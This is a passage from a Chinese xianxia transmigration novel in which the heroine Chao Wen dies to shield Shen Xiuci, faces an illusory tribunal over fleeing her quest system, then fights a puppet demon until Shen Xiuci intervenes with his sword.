总之,倾尽全力,她一定要接下这道攻击。
暴雨之中,她身姿诡谲,闪电一样冲了过来,挡在了沈修慈的面前。
昆山灵玉莹润的光芒,照亮朝玟苍白的半边脸。
生取出灵玉痛苦让她很不好受,仿佛用锯子生生割下一块骨头,胸腔更是传来空出一个牙槽一样的空洞感,连带着灵力亏空丹田处钻心的痛楚……但此时她通通都压抑下去,强硬的忽略了。
现在根本轮不到她痛苦。
昆山灵玉修补她的身体这么多年,早就可以为她所用。短暂的空隙之中,她一手驱策灵玉,结起一面结界抵挡攻势,同时另一只手挥出一道气,将同样对她毫无防备的沈修慈推开。
看到沈修慈离得远远的,她才能安心的赴死。
朝玟本就是强弩之末,根本挡不住魔主得到天道加持的全力一击,漆黑如墨的魔气在她的面前爆炸开,结界犹如脆弱的琉璃蝶翼,在魔气的冲击下,结界像被子弹击中的玻璃一般,瞬间支离破碎,化作无数无力的碎片,消散在空中。
结界晶莹的残渣碎屑间,时间仿佛静止。
魔主在撞上她时,仿佛撞上了一堵有粘性的缓冲带一样,所有的攻势在朝玟的身躯前,扩散消弭。
而她的代价是粉身碎骨。
这一幕太震撼,太奋不顾身,天道也为之怔愣了片刻,被操控的魔主也停在了空中,两只混沌空洞的巨眼,不解的端详朝玟濒死的脸。
朝玟喷出一口血,温热的血溅到脸颊上,在风吹下向耳后延展成细长凌乱的血痕,身上痛得麻木,她却笑得快意。
挡住了。
虽不尽如她意,可她还是赢了。
魔主再也使不出威力这么强的攻击,接下来沈修慈也能应对了,等她和系统脱离,她也就能如愿以偿,获得自由。
不必再被拿捏,不必再被人要挟。
真好……
朝玟如一只忘了飞的鸟,软软垂落手臂,在万丈高空,快速坠落下去。
金身法相,消散成萤火一样的金光,漂浮到雨点里,随着她一起落下,好像要抓住她。
她坠落的太快,朝玟感觉耳边全是风的呼啸声,除此之外,什么声音也听不见,她还在不断地吐血,眼前充斥一片鲜红,什么也看不清。
在坠落崖底之前,她看到的最后一幅画面,是沈修慈朝她飞奔而来的身影,以及那一双,不可置信的眼睛。
里面有什么她此刻无法明白的情绪,在她坠落时顷刻破碎了。
朝玟在半空中,想着沈修慈最后的那个眼神,突然有一种迷茫的感觉。
在极度平静之中,她莫名感到有些后悔。
或许,前几天就该把那句话问出来,她要问他,他对她到底是什么感情。
如果她落下的再慢一些,她一定还要问他,为什么要露出那样的眼神。
可一想到好感度,朝玟心里又浮现无力感。
算了,也没必要。
这是她唯一一次,没有有始有终,对任务最后的结果,她也不用向以前那样,太过看重。
而且从今以后,如果不出意外的话,她和沈修慈都不会再有机会见面了。
也许是最后一刻,她只看到了沈修慈,所以即便她不想要继续回想,可那眼神也成了朝玟在死之前,脑中不断循环的,唯一的影像。
沈修慈那时的样子,和朝玟所熟悉的完全不同,慌张失措,她无法形容那眼神中所包含的复杂感情,就像是没有了她,他会做出什么恐怖的事一样。
但是想到仍未满值的好感度,朝玟又觉得他没有必要为自己做到那个地步。
他们虽然做了十年的夫妻,可是却没有夫妻之实,朝玟一直都以为,他只当她是政治伙伴。
好感度满值是爱人,突破九十才能算得上是亲人,八十只能算相对亲密的朋友关系。
只是因为自己死在他的面前,所以才这么伤心吧。
朝玟从事攻略者这么多年,多么触目惊心的离别都见过,她想,沈修慈在战场上悲欢离合见得也多,应该也早麻木了,过段时间就好了。
况且,她也不是真的会死。
朝玟任由自
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己坠落,感受着系统从脑中剥离的感觉,就像是剥离了枷锁一般,这十年来,她第一次感到完全的全身轻松,心情喜悦。
系统发现了自己正在强制和朝玟解绑,不可置信的骂骂咧咧:“你做什么啊?你疯了吗?你这个疯女人!想死不要带上我!”
朝玟不理它,她双眼仿佛失明一般,没有神彩的半睁着,脸上都是血,已经看不清本来的面容,虽还没有死,但看上去已经完全是个死人了。
系统心急如焚,赶快向天道求助:“天道,救救她!她不能死在这!”
可是天道也不理它,它现在全身心都扑在杀沈修慈这件事上,这个千载难逢的时机要是错过了,不知道还有没有下次机会。
系统不断求助的声音对它来说,就像是扰人的蚊蝇嗡嗡作响,令它不胜其烦,单面切断了和系统的对话。
系统注视着健康界面,清楚意识到朝玟还活着,她还能听见自己的每一句话。它用恶毒的言辞辱骂她,以恐吓和威胁试图动摇她,声音中充满了愤怒。
然而,在这汹汹的怒火之下,不断泄露着系统自身的恐慌和无助:朝玟会死,它一定会被问责,而它根本无力改变。
“你以为这样做,就能够让我得到什么损失吗?什么都不可能,你这样做只会让你自己死得更快。”
朝玟不理会他的谩骂,奋力的向悬崖下面坠落下去。
系统在被完全剥离的前一秒崩溃喊道:“我真是不明白,不过就是任务失败让你回去接受一点小惩罚而已,你怎么就要做到这个地步,让我们都不好过!”
朝玟冷哼一声。
没有为什么,她就是心里咽不下那口气,为什么优秀的人要为扶持者让路?她就是看不惯,就是不服。
朝玟砸在了金光崖底。
系统的死亡警报拉长成一条直线一般平直的声音,犹如停拍的心跳。
但预料之中,险中还生的情景并未出现,她的灵魂顺利地脱离了身体,但在半空中时,却被一只无形的手紧紧捉住,空气也不由自主地扭曲了几下。随之而来的剧痛如潮水般涌来,她的视野迅速被无边的黑暗吞噬。
紧接着系统的提示音又一次在她的脑海之中响起。
犹如恐怖回转的旋律一般,不断的重复着一句话:任务失败,因任务者有潜逃嫌疑,命令系统将任务者即刻遣返……
28. 何种忧怖
密闭的房间内,刺白的白炽灯,打在朝玟的身上,让她毫无躲闪的余力。光线没有阴影,没有温暖,只有清冷的光辉。
桎梏她的木质的椅子和桌子没有任何装饰,只有冰冷的金属铆钉固定着每一个接口。坐垫薄而硬,让人坐立难安,似乎是在刻意营造一种不适感。
朝玟套着囚服,一双修长瘦白的手被套上手铐,放在桌上,她面色苍白,涣散的看着面前场景。
法庭里三层外三层的坐满了人,黑压压的十分压抑,无一例外西装革履,十分高高在上,给人一种难以接近的距离感。
耳边刚开始还是全然纯粹的安静,直到一道声音划破了这氛围,带着无可置喙的威严道。
“朝玟,你已经顺利返回世界,无论如何,恭喜你。”
朝玟颤抖的从嘴唇中吐出一口气,这话犹如死讯,让她的心坠入谷底。
“针对你所负责的任务世界,我们有一些疑点想要向你询问,请你如实回答。”
在耀眼的强光照射下,朝玟艰难地试图睁大双眼,她望着灯光后那道模糊的黑影,问道:“你是谁?”
“我们是监察者。”那人以我们自称。
朝玟眼珠轻微转动,看向他身后许多同样模糊的黑影,他身后还坐着好几个人。
冷白的光打在她的脸上,让她的脸色看起来惨白而阴翳,监察者身后翘起脚的皮鞋不自在的动了动,很轻微。
那位说话的监察者继续道:“针对你所承担的任务世界,我们存在若干疑问,需要你如实进行解答。”
“此处为审讯法庭,你将对以下提问做出真实回答,请你配合。”
朝玟无力地点了点头。
她的思绪混乱,强烈的光线让她感到极度不适,几乎无法进行清晰的思考。即便如此,在听到监察者即将提问时,她仍努力保持着一丝清醒。
“任务执行者朝玟,你的攻略对象为沈修慈,任务的终极目标:在积累足够的好感度之后,策划其非正常死亡。这是否为你的任务内容?”
朝玟回答:“是。”
朝玟追问:“他现在怎么样了?”
监察者说:“抱歉,我暂时不能回答你这个问题,请注意,这里是审讯法庭,与任何与审讯无关的议题都不应在此场合提及。”
“……”朝玟沉默不语。
“针对你在任务最后和系统之间产生解绑脱离的行为,我们目前怀疑你有潜逃的嫌疑,根据疑罪从无,正式以该潜逃罪对你进行审问,请你务必如实回答。”
朝玟又缓缓点了点头。
“你是否是有意挟持主角,从而刺激天道提前开启大战?”
“……是。”
“开启大战之后,你是否想趁大战之中磁场混乱的时刻死遁脱身,和系统解绑?”
“是。”
“这是否是你刺激天道的目的?”
“是。”
监察者道:“鉴于事实与证据的充分支持,裁定你犯有潜逃罪。你对此定罪是否有异议?请明确表明你是否接受本庭的判决。”
朝玟深吸几口气:“……我认。”
虽然她并不清楚为什么在最后关头她会被抓住,重返现世,但不可否认,她确实有过潜逃的念头,并且已经付诸行动。
被逮捕归案,是她先行错步的结果,对此,她无话可说。
监察者又问:“根据任务回放,我们发现,你在任务期间曾多次与协理系统产生言语上的冲突,有拒不配合任务的嫌疑,你是否承认?”
朝玟质问:“是系统先误导我在先。我不按照它的做,是出于我的理性判断做出的选择,这也算拒不配合?”
“这些我们自会判断,你只需要回答是或者否。”
朝玟斩钉截铁:“我做任务时没有一刻懈怠过,拒不配合任务这一点,我不认。”
监察者们闻言,交头接耳,低声议论了几句,提问的人从光滑如镜的桌面上拿起一份泛黄的牛皮纸文件。纸张在空气中翻动,发出的沙沙声如同夜里昆虫振翅的细微响动。
朝玟漠然的看着他们的动静。
监察者又恢复端庄的神色:“经过我们的核实,你所执行的任务已判定为成功,目标人物沈修慈已确认非正常死亡。关于你是否拒绝配合任务的这一问题,我们将另行讨论。”
朝玟的眼神迷茫,似乎是他说了什么难以理解的话。
“已确认……非正常死亡,是什么意思?”朝玟下意识的问出这个问题。
监察者们不回答她,又警告了她:“攻略者朝玟,请注意,不要提问,不要说和审判无关的内容。”
“除此之外,我们关注到,你所在任务世界的能量回收级别异常偏低。对此,我们对您的任务世界进行了回溯审查。”
“我们发现任务中的好感度收集并不符合预期,未能达到任务所要求的满值标准,沈修慈死亡的前置条件未能完全满足。”
也就是说,到最后,朝玟的好感度依旧没有刷满。
“此外,沈修慈的死亡结果也并非按照既定流程发生,存在明显异常。”
监察者似乎觉得光说,还不足以刺激她,手移到控制面板上,打开一张投影屏。
朝玟目光僵硬的转移到屏幕上,眼睛像是干涩了很久,眼球和皮肤轻微的摩擦无比清晰,令她的眼眶感到一阵难以忍受的刺痛。
那是她坠崖之后,不曾看到的画面。
就在她坠落之后,沈修慈也跟着她一起跳了下去。
在他的身后,魔主乘胜追击,但是并没有得逞。
沈修慈将魔主彻底杀死了,随后在金光崖下,找她的尸身。
那是一个漫长的过程,每一块石头,每一个裂缝,都被他的手翻动过,可是他没有找到。
朝玟已经粉身碎骨,怎么可能还有完整的尸体呢?
于是他便想要找到让人死而复生的方法。
沈修慈已经位及半神,能够感知到一部分的世界法则,于是他几乎倾尽一切,筑了一条天梯,试图找到天道。
当然,他毕竟不是神明,并没有能力令天道现身,于是数年寻觅无果后,在金光崖底,在朝玟坠落的地方,自刎而死。
那些干脆毫不迟疑的动作,在她的眼前无限的放慢,朝玟眼睁睁的看着他的血液,像一朵花一样飞溅出来。
那一双看着她从清冷逐渐会笑的眼睛,变得黯淡无光。
朝玟看完,感觉那些血隔着屏幕溅到了她的身上,她想要大叫,可她嘴唇颤抖,说不出一句话,胃部绞痛起来,涌现上一阵想要呕吐的冲动。
监察者冷静的声音再次响起:“根据回溯审查,我想应该已经很明显了,任务结果所产生的偏差,就是回收能量异常的关键。”
监察者对她进行定罪。
“任务者朝玟,根据你的陈述,本次审问得出结果,你的潜逃罪确认无疑,再加上能量异常主犯性质,判处你即刻停职,终身监禁。”
朝玟在看到沈修慈自刎的那一瞬间,她失去了所有挣扎抗辩的力气。
她的内心开始崩溃崩塌,眼神开始破碎。
朝玟万念俱灰。
整个世界都仿佛在她不断坍缩的心上而摇晃震动。
她没能保下沈修慈,也没能保住自己,她机关算尽,最后什么也没有得到。
她的所有谋划,在此刻都变成了笑话,彻头彻尾的笑话。
她甚至开始怀疑,要是她不曾想逃匿的话,是不是她也就不会坐在这里?
是不是沈修慈能活得再久一点?
可就在她喃喃自责的时候,她突然感觉到了,一道很强的注视着她的视线,那是一种嘲笑,邪恶的目光,带着轻蔑,像毒蛇舔过她的灵魂。
她面色灰白,缓缓看向监察者的后方。
她终于看清
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了,监察者的身后站着的是谁。
是沙执行官,他身着笔挺的西装,优雅地坐在幕后,一条腿随意地翘起,一副胜券在握的姿态,听到审判的结果之后,对她投来一个轻蔑的笑。
那笑容仿佛在嘲讽她的愚蠢,享受着她的失败,仿佛在告诉她,她无论如何也翻不了身。
她本已经决定认罪,但突然就被这个目光催动了最为敏感的一个神经。
她猛的站了起来,看着最上面安然端坐的沙执行官,用带着手铐的手,笔直的指向他。
朝玟压抑着胸腔中的不适,冷笑道:“难道穿书局还有胜者不用获罪这个荒谬的规定?监察者就是这样包庇执行官的吗?”
她身形单薄弱小,手脚都套着镣铐,可此时却没有一个人敢上前制止她,仿佛她是一只会伤人的野兽,嘴里吐出来的不是话,而是带血的獠牙。
“我知道你们都想看我落得个凄惨的下场,看着我尊严扫地,人格受辱,你们就感觉高兴,觉得得意。”
“我的确是有罪,可说到底我只是一个员工,受制于人。你们定了我的罪,怎么不问问,为什么系统要误导我,为什么我要铤而走险,孤注一掷?这一切难道没有始作俑者?”
朝玟指着上面,掷地有声:“你们怎么不审审他?反而让他还能安然的坐在这里,他凭什么?”
沙执行官面露惊惧之色。
监察者们陷入沉默。
朝玟咄咄逼人:“是他凭卑躬屈膝,靠着对上阿谀奉承对下颐指气使,两面三刀,把你们哄得服服帖帖了,还是靠他的金钱打点?你们要制裁我,那就先从制裁他开始。是他指派的我去参加这个任务,也是他和系统合谋,非要让我任务失败,你们怎么不先审他,看他是不是别有用心?”
“还有系统,他和沙执行官沆瀣一气狼狈为奸,在我做任务的时候处处误导我,怎么也不查查,它究竟收了沙执行官多少好处?”
“你们这些监察者,就这样在这个正义的法庭上做出这么草率的判决,你们对得起你们的良心吗?”
朝玟把他们全部指了一遍,“说得冠冕堂皇,各个道貌岸然,其实都是些一丘之貉!虚伪卑鄙之徒!”
沙执行官站起来,呵斥她:“朝玟!这是你能大喊大叫的地方吗?”
“怎么?我说错了?你有胆做?却没胆认?”朝玟嘲讽一笑,怀着满腔的恶意道:“还是说,你怕了?”
不是要高高在上审判她吗?她就一个一个,把他们隐藏在黑暗下的真实面目全部扒下来。
她就算是死,也要让他们血淋淋的脱层皮,让他们全都不好过。
朝玟将他们所有人都质疑了一个遍,那些人惊惧得犹如见到阳光的厉鬼,他们的身影从黑色变成了扭曲疯狂摇摇欲坠的黑影,随着朝玟的言语化成了灰烬。
朝玟用力砸断了手上的镣铐。
整个世界崩塌了。
她感到前所未有的痛快。
原来,她内心深处一直所恐惧的,并非她个人的失败,而是害怕让这些卑劣之徒得逞。
一念生,一念死。
朝玟素白的掌中凭空出现一柄碧绿尖刺,在手中翻转几下。
从傀儡幻境中挣脱出来,蜘蛛洞内仅仅只过了一个瞬间。
她依旧保持着跪地的姿态,脸上血迹斑斑,双目清冷冷的,将手中的尖刺举起,狠狠戳瞎了那傀儡鬼的另一只眼睛。
她轻笑:“游戏结束了。”
傀儡鬼猛然向后退去,双手紧捂着血流如注的眼睛,身形不稳地连连倒退,最终颓然跌坐在地。
朝玟的尖刺仍旧嵌在他的眼眶之中,随着他的痛苦喘息而微微颤动。
朝玟动作毫不犹豫,迅速起身,一脚重重踏在傀儡鬼的胸膛上,手紧握着刺刀柄,狠狠地将刀锋推进得更深几分。
她歪头,面无表情问道。
“玩的还满意吗?”
29. 警世之剑
傀儡鬼痛苦大喊:“怎么可能?你现在……只是一个凡人,怎么可能突破我的幻术?”
“凡人又怎么样?凡人的想法才是最复杂的,你一个魔物,人心这种东西,你玩的明白吗你?”
朝玟说着,一边的手死死钉住他的眼睛,另一只手挥起刺刀,要割断他的脖子。
反正他本来就是无头鬼,又瞎了两只眼睛,这头割下去,倒也不让他损失什么。
朝玟想着立刻就能割下他的头颅,便感觉快意,下手飞快。
傀儡鬼也立刻有所反应,朝玟的刀切了一半,他便将手化为刀刃,想要从背后偷袭反击。
朝玟只好把手又挥向身后格挡,在空中一个翻身越到远处,和他拉开了距离。
傀儡鬼的脖子被切了一半,挂在胸前,看着分外的狰狞。
朝玟看着那一撮断掉的组织和肉,烦躁的啧了一声。
太遗憾了,没能一击将他杀掉。
傀儡鬼将头扶正,那刚被切断的部位又奇迹般的粘连了回去。
他本是一具傀儡,只要魔心不死,便能一直融合再生。
他意味深长的笑了两声。
“反应不错,可惜,成功逃出了幻境又怎么样?现在的你大不如从前,又无仙士帮你,你依旧不是老夫的对手。”
朝玟听后,看了一眼岑守心的方向。
两个人之间相隔百米之远,他那边的战况也很激烈。
令她第一眼注意的是地面上的一道裂痕。
蜘蛛的锋利足尖如同解剖刀一般锐利,屠夫挥刀一样,向朝玟的方向,在地面划开一条很深的竖向裂口,裂口的尽头,痕迹猛地一顿,硬生生扭转向岑守心划定的战场方向,留下一个锐不可当的拐角。
这从放任到急转所造成的动静,应该就是朝玟在陷入幻境之前所听到的巨大声响的来源。岑守心目的明确,不想让朝玟被卷入他和白毛蜘蛛的斗争。
裂痕之深,令她心有余悸,这么重的一击劈到身上肯定难逃一死。
朝玟站直身体,心中庆幸还好有岑守心,对这次对战成功的信心增加了几分,摆出备战的姿势,冷哼一声:“你这魔物,怎么总是说一些莫名其妙的话。”
朝玟坚决否认过去的身份,毕竟往昔已如烟云散去,没有一丝一毫的证据能够证实傀儡鬼的真实性,可就算这样,也抵不住傀儡鬼总是提起从前。
她和岑守心虽然隔得远,但不保证她和傀儡鬼的对话,他就听不到。
傀儡鬼嘲讽的笑道:“殿下就别揣着明白装糊涂了,大家都是重来一次,你能有高人相助,帮你避开因果,保留记忆,老夫我就没有吗?”
高人相助?
朝玟心中一动,她本不想追究这傀儡鬼为什么会有上一次的记忆,总归是要死在她手里的,可没想到,他居然先忍不住,抖露出来了一些东西。
朝玟意外的挑了挑眉梢。
这傀儡鬼以为她拥有上辈子的记忆,是因为有人帮她呀。
朝玟恍然大悟,她就说怎么一个两个,都记得上一次发生的事情,原来是背后有人在暗中操作,推波助澜。
只是谁有这么大的本事呢?
朝玟还来不及细想,就被接连不断的攻击打断了思绪,不得不又打起精神来应对满血复活的傀儡鬼。
她现在确实是打不过他,才接了几招,就感觉到手疼,体力也渐渐不支。
岑守心那边也在焦灼的对战,朝玟看了一眼,被打断。
傀儡鬼嗤笑道:“你的情郎看上去自身难保啊,殿下似乎只能自己顾着自己了。”
他发出一声怪笑,说些话意味不明:“该说不说,你的眼光真是一如既往,仙域的这种小白脸究竟有什么好?两次,都被这种男人迷得神魂颠倒,明知来这里就是送死,还要跟着过来,对找死如此执着,真是令老夫大开眼界。”
“眼力差就闭嘴。”朝玟痛击他,割断了他的一条手臂:“你也两次都差点死在我的手里,找死的话,你还是留着说给自己听吧。”
“王姬殿下,有些因果不是你能躲得掉的,尤其是情债。”
傀儡鬼哈哈的笑了两声,落在地上的手又被他轻轻松松接了回去,看着朝玟充满斗志一无所知的眼神,玩味笑道:“不过,既然你什么都不知道的话,我想现在杀了你,应该也会十分有趣。”
傀儡鬼用青色的镰刀将她的身体向后推去,改变主意道:“只要不伤了你的这张皮,主人应该也不会在乎你到底是死是活。”
朝玟向后滑跪在地,碧绿的尖刺支撑着身体,撑在坚硬的石板上火化带闪电划出一道白痕。
身上疼痛难忍,感觉五脏六腑都移了位,四肢更是像散架了一样,全凭着一股子不想输的气吊着。
朝玟满眼的不甘像是熊熊燃烧的火焰。
现在可是她好不容易才得来的平静日子,她可不想轻易就这样死了,让她所作的所有努力都毁于一旦。
她伸手至腰间,取出一颗回气丹,毫不犹豫地塞入口中,用牙齿将其咬碎。
果然,郑舒虽然抠门,但是让灵闻阁研制出来的东西都还货真价实,丹药入腹,她顿感体力渐渐恢复,瞬间恢复了三成气力。
朝玟感觉又行了。
想着上一次被傀儡鬼折磨打败的经历,朝玟心中暗恨,又很不服。
人总不能两次都踏进同一条河里吧。
朝玟又迎了上去:“再来!”
她倒要看看,这次是谁死谁活。
……
朝玟在回气丹的加持下变强了,攻击越发凌厉。
“这样才对,大家都重来一遭,殿下理应比以前更强才对。”
傀儡鬼在一瞬间竟无法抵挡这股攻势,不得不向后退去,以避其锋芒。
尽管如此,它的嘴上仍旧不肯示弱,残忍的笑容挂在脸上,就像猫在玩弄掌中的老鼠一般,戏谑地对朝玟说道:
“还是这样有来有回,慢慢折磨才更有趣。”
朝玟不受他的激怒,可也不想在言语上落下风,轻笑一声,反唇相讥。
“看来,帮你的那位不仅恢复了你的记忆,还提升了你的实力?可惜本性难移,你仍旧像阴沟里的老鼠,一感受到生命威胁,就知道躲嘛。”
“殿下这一张嘴真是不讨喜极了。”
话音未落,傀儡鬼身上的魔气骤然爆发,如同狂风骤雨般将朝玟猛地摔飞出去。
她不清楚自己的伤势如何,只觉得一口热血涌上喉咙,不由自主地哇的一声吐出一大口鲜血。
但就在下一刻,她的眼中再度燃起更为炽烈的杀意。朝玟挣扎着翻身而起,脚步瞬间变得诡异莫测,以令人难以置信的速度逼近傀儡鬼。手中的双刺捏拢在一起,并成
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一把,带起一阵罡风,直刺他的命门。
她来不及想其他的,她只知道,要是此时不奋力一搏,恐怕就要交代在这里了。
直面死亡的恐惧,激发了她本能的反抗,她毫不犹豫地采取了行动,如同扑火的飞蛾,义无反顾地投入到这场生死较量之中。
她不想死,她想要好好的活着。
她的身法很快,只是受限于肉体凡胎,比傀儡鬼躲避的速度还是慢了一点,那直刺命门的尖刺偏了三寸,扎到了不要紧的地方。
成败本就是一瞬间的事情。
朝玟再次被狠狠击飞,这一次,她连挣扎着想要站起来的力气都没有了。
傀儡鬼发出两声狰狞的笑声,挥舞着镰刀,向着她的位置狠狠挥下——
朝玟无法忍受看到自己死亡的惨状,于是闭上了眼睛。
在一片被死亡笼罩的漆黑中,她听到了一声清晰的噗嗤声。
那是利刃刺入血肉的声响,随后是一道没入地面的嗡鸣。然而,朝玟预想中的胸膛被刺穿的剧痛并没有发生。
几声倒抽凉气的声音从傀儡鬼的喉咙里传出,那声音充满了不可思议和痛苦。
朝玟感觉有些不对,睁开眼睛,看见了意外的画面。
一柄长剑深深刺穿了傀儡鬼的背部,剑尖穿透了它的胸腹,最终斜斜地没入地面。
傀儡鬼并未因此毙命,但这把剑限制住了它的行动,让他匍匐在地上,无法再前进。
他面对这突如其来的转变,震惊之余,脸上满是不甘,他不甘心就此放过朝玟,双手在地上疯狂地挣扎,试图从剑下挣脱,剑锋利的刃将他的身体逐渐切成两半,就像是割开黄油那样顺滑。仿佛一只渴望再次站起来,继续对朝玟下杀手的恶鬼。
朝玟一看情况不对,迅速吞下了最后的一颗回气丹,紧接着挣扎着站起身来,将傀儡鬼的头颅割断。
鸟形的怪异头颅骨碌碌落地,朝玟一脚踩碎成肉泥,又反手毁了那傀儡鬼的魔心。
碧绿的尖刺之下,傀儡甘青的皮肤褪色一般,转瞬变为失去生机的灰白色,一身骨肉,就像被震动的墙灰一般,纷纷扬扬地化为齑粉,落在地上,风一吹,便斑驳一地,了无痕迹。
终于死透了。
危机解除,朝玟心中的巨石终于落地,她扑通一声坐倒在地,喘着粗气,眼神愣愣地凝视着那柄为她化解危机的长剑出神。
她一眼便看清了那把剑的样子。
那是一柄通体银白的长剑,将近三分之一插进地里,古朴简约,没有什么多余的修饰,剑脊上铸造有复杂的镇魔图腾,因饮过太多血,整把剑散发着森然的寒气,周围萦绕着一股令人心悸的煞气。
剑刃光亮如镜,能够清晰地映照出即将被斩于剑下之人的恐惧眼神,使得这把剑显得更加令人畏惧。
然而,朝玟面对这把剑,却毫无惧色。
她愣神,只因这剑对她来说太过熟悉。
那是这世上只此一把的不世神兵,一经问世,就被握在这世上最强的人的手里,在仙魔边界,镇守了七年。
狱法之乱,一剑封王,又被高悬于昆仑之巅,作为至高无上的权力象征,威慑天下。
从此以后,它便如同普照大地的日光,无所不在,永远悬挂在人们的心中,成为不可磨灭的敬畏与尊崇。
那是沈修慈的警世剑。
30. 寻契红绳
朝玟从剑刃上看到了自己现在的模样。
原本干净的脸上留下了打斗过的脏污,纤长的眼睫上沾着点灰尘,嘴角下颌全是血,衣裙也灰一块白一块,状态糟糕。
额前一点鲜红的同心印,犹如徐徐燃烧的枫叶,红白相间,倒映出那双虚弱却异常明亮的眼睛。
朝玟一瞥见警世剑,脑海中嗡的一声轰鸣,随后当她注意到自己额头上新出现的同心印时,脑子再次嗡嗡作响。
这印记怎么还在呢?
之前无论她如何引导,这印记都不曾出现过,她以为她更换了身体,同心印也就随之自动解除,不再发挥作用了。
谁知这印记一直都在,只是她并未找到正确的激发契机。
她经过和傀儡鬼的一番搏斗,身体失血过多变得虚弱,一直潜藏在她额前的印记察觉到了她的危险,想要向另一道印记求助,所以这才显露出来。
朝玟呆呆看着剑上自己的倒影。
白毛蜘蛛发出一声异常嘶哑的吼叫,像是也没想到会突然发生这样的变故,自己最得力的下属就这样轻易的被他一剑杀了。
那剑身突然震颤,让她的的倒影也晃动不止。突然就从地面拔出去,腾空飞起,落到了岑守心的手中。
朝玟的目光也顺着剑飞在空中的轨迹看过去。
空中的人,身长玉立,衣摆在空中无风自动,束在发冠之中的发丝有一些微乱,但无损他全身的整洁。
是岑守心那副淡如水墨的模样。
可就在警世剑被他握在手中的一瞬间,他的容颜瞬间就发生了变化,所幻化出的化身,被剑上罡烈的煞气撕扯粉碎,露出了原本清朗的眉眼。
那是一张极为好看的脸,骨相周正,鼻梁挺直而利落,双眸如墨,眼型是内收外扬起的凤眼,弧度精致得恰到好处,如同寒梅般艳丽,唇色极淡,又平添寡冷。
远看只觉此人金相玉质,贵气逼人,却又如同冰雪般冷漠。
警世剑全身的煞气在他的手里收敛了几分,无比的乖顺。
这等桀骜不驯的利剑,注定只会为一人臣服,供一人驱策。
朝玟仰视他的脸,心跳如鼓。
然而,转瞬之间,她又突然冷静下来,有种果然如此,尘埃落定之感。
她在昆仑待了十年,沈修慈身边有什么人物,她一清二楚。
昆仑殿,哪里有什么岑守心。
她的死,没能抹消掉同心印,这印记一定让人起了疑惑,所以沈修慈才会在记忆全失的情况下,千里迢迢,下界寻找她的下落。
是朝玟不愿意相信,沈修慈真的会来找她,所以一直在自欺欺人罢了。
素觅所化的白毛蜘蛛,在看到警世剑之后,也忍不住忌惮的向后退,冷哼一声,边退边说:“上头说的不错,你果然亲自下界了。”
“方才那般折辱你都隐忍不动,不愧是昆仑之主,真能藏啊。”
沈修慈不理会她的嘲讽,垂眸看向了朝玟的方向。
朝玟的同心印依旧在搜寻另一枚印记的下落,那种急切的鼓动存在在心中,久久不散。
她生怕此时和沈修慈的同心印连上了,用惊疑的目光和他遥遥对视。
沈修慈的眼神落在她的脸上。
朝玟在他的注视下,抬起双手,迅速捂住额头。
殊不知这种下意识遮掩的行为十分多此一举,还好,那种想要找到什么的冲动在回气丹渐渐生效后,就消散于无形。
连带着额前的同心印也一起隐没了。
可沈修慈还是看着她,朝玟有些难堪地别过脸,看向白毛蜘蛛的方向,看清对方的动作后,瞳孔微缩:“小心!”
沈修慈应声转过头,在格挡的瞬间,他那平日淡漠如水的眼眸中,不经意间闪烁出几点血色的嗜杀的神色,仿佛是久战留下的痕迹,又像是本来就有,一直潜藏于心底的杀意。
他的招式尤为锋利冷酷,看向被击飞的素觅,将剑上的尘埃一震而落,伴随着一声清越如龙吟的锵鸣。
“虽不知是谁走漏了风声,让你探听到了消息。”
“但已经不重要了。”
只见他手腕翻转,剑光挥动,素觅也对着他冲过来,鼓动起一阵极度可怕的魔气,两个人在一瞬间交锋。
沈修慈瞬间将剑锋竖于额前,动作之间不见丝毫破绽,而那蜘蛛的左侧四条腿已被无声斩落,唰的落在了朝玟的不远处。
那几根蜘蛛腿外覆着金属光泽,坚硬如铁,切断面光滑平整,使得原本狰狞的肢体,竟在瞬间拥有了某种冷峻而精致的美感。
接着就是一声响彻洞穴的惨叫,叫声凄厉无比,让朝玟的胸腔都跟着在共鸣震颤。
“不可能!那个人说……我已经是新的魔主了!为了这一天,我几次脱胎换骨,早已和以前天差地别,你怎么可能伤我?!”
蜘蛛不可置信,又迎身而上,拼死一击——
沈修慈旋身踢剑,剑刃如同飞速旋转的铰刀,就像是去除螃蟹的四肢一样,又将那蜘蛛的另外几条腿砍了下来。
清冽的剑鸣声久久回荡。
警世的寒光如星,在空中飞旋一圈后,又快速回到他的手中。
沈修慈缓缓步至素觅的跟前,嗓音清冽道。
“你是不是魔主,谁说都不算。能逃过被斩于我的剑下,才有资格自称。”
那蜘蛛只剩下一个躯干,这下终于感觉到了害怕,不管不顾的就从尾部吐着沾满毒液的丝,向沈修慈攻击而来。
沈修慈用剑将那飞来的蛛丝绞断,同时,使用了一个咒术,将她的尾部封死,让她再也不能攻击。
素觅被斩断的部位蠕动拼凑,又再次复生出新的血肉,眼看再过不久就会再次恢复,沈修慈画出剑阵,数道金光,将她牢牢钉死在原地,让她动弹不得。
然后沈修慈走到那蜘蛛的面前,对着她那钢铁一般的硬壳伸出手——
朝玟看着,皱着眉头缩了缩脖子。
沈修慈把手伸到蜘蛛的腹腔中,一通搅弄,血肉发出咕噜咕噜的声音,听得令人头皮发麻。
那蜘蛛更是疼的死去活来,不停的发着凄厉的尖叫。
沈修慈左掏右掏,掏出了一根漆黑的东西。朝玟隔得远看不真切,只知道那东西从蜘蛛的肚子里掏出来之后,它明显的叫声就弱了下去,体型似乎也缩水了不少。
沈修慈问:“这东西你是如何得来的?”
“说了你就会放过我?”
沈修慈认真回答:“能给你一个痛快。”
那蜘蛛狂妄大笑起来:“你不敢动我,只有我知道你妻子的下落,你要是杀了我,这世上就再没人能够告诉你她的下落了!”
“让你开口,未必需要你活,杀了你,拘住元神便可。”
他不是能受威胁的人,素觅提出的这点诱惑,也不足以打动他,沈修慈又提起警世剑,就要动手。
一声清亮的女声从不远处响起:“等等!”
朝玟踉踉跄跄的走过去,“剑下留情,容我问几句话。”
沈修慈注视着朝玟的靠近,并未多言,只是缓缓放下了手中的剑,站在了一旁。
朝玟看着素觅如今的模样,目光之中带着怜悯。
“你一只妖宠能够走到如今的位置,着实不易,只可惜一腔心血用错了地方,一步错步步错,从你杀一城的人开始,就已是死局。”
素觅呸了一口:“不用你假好心。”
“我可不是好心,我只是想提醒你,你现在动弹不得自身难保,我为刀俎,尔为鱼肉,若是有心要拷问,折磨你的方式有很多种。”
朝玟的目光落在她被撕扯开的腹部上面,这眼神带着赤裸裸的威胁,让素觅露出了惧怕。
“你不如就把你所知道的事情都说出来,还能免受些痛苦。”
